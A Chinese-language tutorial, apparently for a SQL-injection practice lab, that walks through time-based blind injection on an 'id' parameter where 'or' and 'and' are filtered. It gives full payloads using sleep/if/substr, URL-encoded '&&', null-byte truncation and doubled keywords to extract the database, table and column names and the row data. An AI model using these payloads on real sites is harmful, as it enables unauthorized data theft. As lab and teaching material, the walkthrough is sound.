注意该关的or和and也被过滤了
1、判断闭合方式
输入语句
?id=1'
,返回页面如下:
我们猜测闭合符号是',再进行验证,输入语句
?id=1';%00
,返回页面如下:
依然报错,说明闭合符号除了'之外还有其他的符号,我们输入
?id=1');%00
,返回页面如下:
这说明闭合符号是')。
2、确定数据库名的长度
输入语句
?id=2')%26%26sleep(if(length(database())=8,0,2));%00
,对于这个语句,我们首先要知道,如果该数据库名的长度是8,那么页面的返回将没有任何的延迟,反之,将会有2秒的延迟之后才能看到返回的页面。
输入语句后无延迟,返回页面如下:
这说明数据库名的长度是8。
3、爆破数据库名
输入语句
?id=1')%26%26sleep(if((substr(database(),1,1)='s'),2,0));%00
,返回页面如下:
返回页面时延迟了2秒,所以数据库名的第一个单词是's'。通过修改substr(a,b,c)函数的第二个参数b,将它改为2,3,……这样就可以知道第2,3,……个字母是什么了,第三个参数c表示截取的字段的长度。这里是1。
4、爆破数据表名
输入语句
?id=1')%26%26sleep(if((substr((select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema=database())),1,1)='e'),2,0));%00
,返回页面如下:
延迟了两秒,说明第一个字母是'e',注意的一点是:这里我们截取的是所有表名加上逗号所组成的字符串的第一个字母,','也是其中的字符,我们根据逗号将多个表名区分开。
5、爆破列名
输入语句
?id=1') %26%26 sleep(if((substr((select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_schema=database()) %26%26(table_name='users')),1,1)='i'),2,0));%00
,返回页面如下:
6、爆破字段内容
输入语句
?id=1') %26%26sleep(if(substr((select (group_concat(id)) from (users)),1,1)='1',2,0));%00
,返回页面如下: